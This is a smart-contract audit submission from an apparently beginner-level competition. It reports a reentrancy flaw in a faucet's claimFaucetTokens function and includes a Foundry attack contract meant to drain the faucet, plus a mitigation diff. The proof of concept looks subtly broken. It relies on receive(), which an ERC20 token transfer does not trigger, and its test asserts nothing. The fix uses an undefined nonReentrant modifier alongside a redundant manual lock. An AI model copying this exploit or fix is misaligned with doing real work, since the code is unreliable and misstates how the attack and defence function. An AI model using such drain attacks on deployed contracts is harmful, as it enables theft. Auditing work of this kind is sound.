Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Reentrancy Protection Allows Potential Double Claims

Root + Impact

Description

Expected behavior:

Each user should only be able to claim once per cooldown period.

Actual behavior:

A reentrant call allows multiple claims before the cooldown is updated.

// Root cause in the codebase with @> marks to highlight the relevant section
@> function claimFaucetTokens() external {
@> require(block.timestamp > lastClaimed[msg.sender] + claimCooldown, "Wait for cooldown");
@> faucetToken.transfer(msg.sender, faucetClaimAmount);
@> lastClaimed[msg.sender] = block.timestamp;
@> emit FaucetClaimed(msg.sender, faucetClaimAmount);
@> }

Risk

Likelihood

Medium to High, depending on the token implementation.

If the faucet token is ERC777-compliant or includes callback hooks (tokensReceived), reentrancy is immediately possible.

Even with ERC20 tokens, integrating a malicious proxy could trigger this vulnerability.

Impact

1. Token drain risk: A malicious contract could recursively call claimFaucetTokens() to drain available faucet tokens in one transaction.

2. State inconsistency: The cooldown mechanism becomes unreliable, as multiple claims can bypass time checks.

3.System reliability loss: Honest users may face depleted faucet funds due to exploiters looping reentrant calls.

Proof of Concept

Explanation

The issue arises from unsafe state update order:

The function transfers tokens first, then updates the cooldown tracker.

If the transfer triggers a callback (as with ERC777 tokens), the same function can reenter before the state change, bypassing cooldown restrictions.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract ReentrancyExploit {
RaiseBoxFaucet faucet;
address owner;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
owner = msg.sender;
}
// fallback gets triggered during token transfer
receive() external payable {
faucet.claimFaucetTokens(); // reentrant call
}
function attack() external {
faucet.claimFaucetTokens();
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet faucet;
ReentrancyExploit attacker;
function setUp() public {
faucet = new RaiseBoxFaucet("RaiseBox", "RBT", 1000 ether, 0.005 ether, 1 ether);
attacker = new ReentrancyExploit(address(faucet));
}
function test_ReentrancyExploitDrainsTokens() public {
vm.startPrank(address(attacker));
attacker.attack();
// ❌ Expected: 1000 tokens once
// ✅ Actual: multiple reentrant claims drain faucet balance
}
}

Recommended Mitigation

Explanation: Add reentrancy protection and state update before external calls, like so

Benefits:

1.Prevents recursive claim attempts.

2.Protects faucet balance from drain attacks.

3.Ensures consistent state updates.


- remove this code
+ add this code
+ bool private locked;
function claimFaucetTokens() external nonReentrant {
- require(block.timestamp > lastClaimed[msg.sender] + claimCooldown, "Wait for cooldown");
- faucetToken.transfer(msg.sender, faucetClaimAmount);
- lastClaimed[msg.sender] = block.timestamp;
- emit FaucetClaimed(msg.sender, faucetClaimAmount);
+ require(!locked, "Reentrant call");
+ locked = true;
+ require(block.timestamp > lastClaimed[msg.sender] + claimCooldown, "Wait for cooldown");
+ lastClaimed[msg.sender] = block.timestamp;
+ faucetToken.transfer(msg.sender, faucetClaimAmount);
+ emit FaucetClaimed(msg.sender, faucetClaimAmount);
+ locked = false;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Appeal created

inallhonesty Lead Judge
8 days ago
minionteechs Submitter
8 days ago
inallhonesty Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.